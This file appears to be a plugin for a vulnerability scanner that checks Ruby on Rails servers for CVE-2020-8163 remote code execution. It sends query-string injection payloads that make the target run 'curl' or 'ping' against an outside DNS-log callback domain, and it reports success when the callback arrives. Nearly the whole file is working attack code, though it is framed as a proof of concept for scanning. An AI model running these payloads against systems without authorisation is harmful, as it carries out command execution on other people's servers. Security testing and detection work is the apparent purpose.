#!/usr/bin/env python3
# -*- coding:utf-8 -*-

'''
Ruby on Rails 命令执行
    CVE-2020-8163
        Payload: https://github.com/h4ms1k/CVE-2020-8163/

在 Rails 5.0.1 之前版本中的一个代码注入漏洞, 
    它允许攻击者控制"render"调用"locals"参数执行RCE
'''

from payloads.RubyOnRails.tool_get_route_path import get_route_path
from lib.api.dns import dns
from lib.tool.md5 import random_md5
from PluginManager import Vuln_Scan

class Scan(Vuln_Scan):
    def __init__(self):
        self.payloads = [
            {'path': '?[system("curl DNSDOMAIN")end%00]'},
            {'path': '?[system("ping -c 4 DNSDOMAIN")end%00]'},
            {'path': '?[system("ping DNSDOMAIN")end%00]'}
        ]
    
    def POC(self, clients):
        client = clients.get('reqClient')
        sessid = '2892b92d3c3a1d8b4ab069947ddbc552'

        vul_info = {
            'app_name': 'Ruby on Rails',
            'vul_type': 'RCE',
            'vul_id': 'CVE-2020-8163',
        }

        dataRoutePath = get_route_path(client, vul_info)        # * 获取有效路由(路径)
        if not dataRoutePath:
            return None

        for payload in self.payloads:
            md = random_md5()                                       # * 随机md5值, 8位
            dns_domain = md + '.' + dns.domain(sessid)              # * dnslog/ceye域名

            path = payload['path'].replace('DNSDOMAIN', dns_domain)

            for routePath in dataRoutePath:
                res = client.request(
                    'get',
                    routePath + path,
                    allow_redirects=False,
                    vul_info=vul_info
                )
                if res is None:
                    continue

                if (dns.result(md, sessid)):
                    results = {
                        'Target': res.request.url,
                        'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']],
                        'Request': res
                    }
                    return results
        return None
    
    def EXP(self, clients):
        pass

    def Start(self, clients):
        return self.POC(clients)
